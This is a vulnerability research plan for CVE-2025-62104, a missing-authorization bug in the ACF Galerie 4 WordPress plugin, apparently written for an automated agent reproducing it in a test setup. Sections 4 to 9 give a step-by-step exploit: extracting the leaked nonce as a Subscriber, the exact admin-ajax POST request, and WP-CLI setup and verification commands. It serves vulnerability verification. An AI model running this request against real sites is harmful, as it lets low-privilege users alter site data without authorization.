Vulnerability Research Plan: CVE-2025-62104 (ACF Galerie 4 - Missing Authorization)

1. Vulnerability Summary

The ACF Galerie 4 plugin (versions <= 1.4.2) contains a missing authorization vulnerability in its migration functionality. Specifically, the AJAX handler acfg4_start_migration fails to perform a capability check (e.g., current_user_can('manage_options')). While it implements a nonce check, the nonce is exposed to any authenticated user who can access the WordPress admin dashboard (including the Subscriber role). An attacker with Subscriber-level access can trigger this migration process, which modifies existing Advanced Custom Fields (ACF) field definitions in the database, potentially disrupting the site's gallery functionality or altering data format in wp_postmeta.

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin-ajax.php
• Action: acfg4_start_migration
• Method: POST
• Parameters:
  • action: acfg4_start_migration (Required)
  • nonce: A valid nonce for the acfg4_start_migration_nonce action (Required)
  • migrate_from: Either 1 (ACF Photo Gallery Field) or 2 (ACF Gallery Pro) (Required)
• Required Authentication: Subscriber or higher (Authenticated).
• Preconditions: The plugin must be active. For the migration to have a visible effect, existing ACF fields of type photo_gallery or gallery should exist.

3. Code Flow

1. Registration: In acf-galerie-4.php, the initialize_migration() function instantiates the acfg4_migration class.
2. Hooking: In providers/class.migration.php, the constructor registers the AJAX action:
   add_action('wp_ajax_acfg4_start_migration', array($this, 'acfg4_start_migration'));
3. Nonce Exposure: The function acfg4_start_migration_nonce() is hooked to admin_head. It checks if ( !is_admin() ) return;. Since the WordPress dashboard (/wp-admin/) is accessible to Subscribers, this function executes for them, printing:
   <script type="text/javascript">const acfg4_start_migration_nonce = "...";</script>
4. Vulnerable Function: The acfg4_start_migration() function:
   • Verifies the nonce via wp_verify_nonce( $_POST['nonce'], 'acfg4_start_migration_nonce').
   • Checks if migrate_from is 1 or 2.
   • Crucially, it skips any current_user_can() check.
   • It queries wp_posts for post_type = 'acf-field'.
   • Iterates through fields and updates post_content (serialized metadata) if the field type is photo_gallery or gallery, changing it to galerie-4.
   • If migrate_from == 1, it also performs a regex-like migration on wp_postmeta associated with those fields.

4. Nonce Acquisition Strategy

The nonce is printed directly into the HTML of any admin page for a logged-in user.

1. Login: Log in as a Subscriber.
2. Navigate: Navigate to /wp-admin/profile.php (standard landing page for Subscribers).
3. Extract: Use browser_eval to extract the global JavaScript variable.
4. Target Variable: window.acfg4_start_migration_nonce

5. Exploitation Strategy

1. Data Setup: Create a test ACF field with type gallery (representing ACF Pro) or photo_gallery (representing the ACF Photo Gallery plugin).
2. Authentication: Authenticate as a Subscriber-level user.
3. Nonce Capture: Navigate to /wp-admin/profile.php and run browser_eval("window.acfg4_start_migration_nonce").
4. Trigger Migration: Perform a POST request to admin-ajax.php using the http_request tool.

Request Details:

• URL: {{BASE_URL}}/wp-admin/admin-ajax.php
• Method: POST
• Headers: Content-Type: application/x-www-form-urlencoded
• Body:

  action=acfg4_start_migration&nonce={{NONCE}}&migrate_from=2
  

  (Using migrate_from=2 to trigger the basic field type update).

6. Test Data Setup

1. User: A user with the role subscriber.
2. ACF Field: Since the plugin migrates existing fields, we must create an ACF field manually via WP-CLI to act as the "victim" data.

   # Create an ACF Field Group
   FIELD_GROUP_ID=$(wp post create --post_type=acf-field-group --post_title="Test Gallery Group" --post_status=publish --porcelain)
   
   # Create an ACF Field of type 'gallery' (simulating ACF Pro Gallery)
   # The 'post_content' must be a serialized array containing 'type' => 'gallery'
   FIELD_DATA='a:1:{s:4:"type";s:7:"gallery";}'
   wp post create --post_type=acf-field --post_excerpt="my_gallery_field" --post_content="$FIELD_DATA" --post_parent=$FIELD_GROUP_ID --post_status=publish
   

7. Expected Results

• The AJAX response should be: {"success":true,"data":{"message":"Migration has successfully completed."}}
• The database record for the ACF field created in the setup phase should have its post_content updated.

8. Verification Steps

1. Check Post Content: Use WP-CLI to inspect the post_content of the ACF field.

   wp db query "SELECT post_content FROM wp_posts WHERE post_type = 'acf-field' AND post_excerpt = 'my_gallery_field'"
   

2. Verify Transformation: Confirm that the serialized string now contains s:9:"galerie-4" instead of s:7:"gallery".
   • Before: a:1:{s:4:"type";s:7:"gallery";}
   • After: a:1:{s:4:"type";s:9:"galerie-4";}

9. Alternative Approaches

If the Subscriber cannot access /wp-admin/profile.php due to other security plugins:

• The nonce is also enqueued via acfg4_start_migration_nonce in admin_head. If any other plugin page is accessible to Subscribers (e.g., a custom dashboard page), the nonce will be there.
• Check if migrate_from=1 produces observable changes in wp_postmeta. If a post has metadata associated with the field name my_gallery_field, the migration will attempt to serialize comma-separated values into a PHP array.
  • Setup meta: wp post meta add [POST_ID] my_gallery_field "123,456,789"
  • After Exploit: wp post meta get [POST_ID] my_gallery_field should return a serialized array a:3:{i:0;s:3:"123";i:1;s:3:"456";i:2;s:3:"789";}.